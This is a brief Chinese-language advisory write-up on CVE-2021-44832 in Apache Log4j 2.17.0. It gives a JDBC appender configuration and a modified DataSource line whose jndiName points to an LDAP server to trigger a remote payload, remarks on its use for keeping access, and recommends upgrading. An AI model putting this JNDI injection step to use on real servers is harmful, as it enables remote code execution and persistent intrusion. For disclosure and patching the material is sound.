0x01 前言
2021 年 12 月 28 日,有安全人员发布了关于 CVE-2021-44832 – APACHE LOG4J 2.17.0 的信息。
0x02 漏洞利用
`<?xml version="1.0" encoding="UTF-8"?>``<Configuration status="error">` `<Appenders>` `<JDBC name="databaseAppender" tableName="dbo.application_log">` `<DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" />` `<Column ...` `</JDBC>` `</Appenders>``…``</Configuration>`
把 DataSource 标签的内容更改为:
<DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>
即可触发payload。
图解:
验证视频:
0x03 修复建议
将 Apache Log4j2 升级到 2.17.1、2.12.4 和 2.3.2 或更高版本。
此漏洞利用门槛较高,得先拥有远程访问服务器和更改配置的权限;目前来看,其可作为权限维持的选项之一。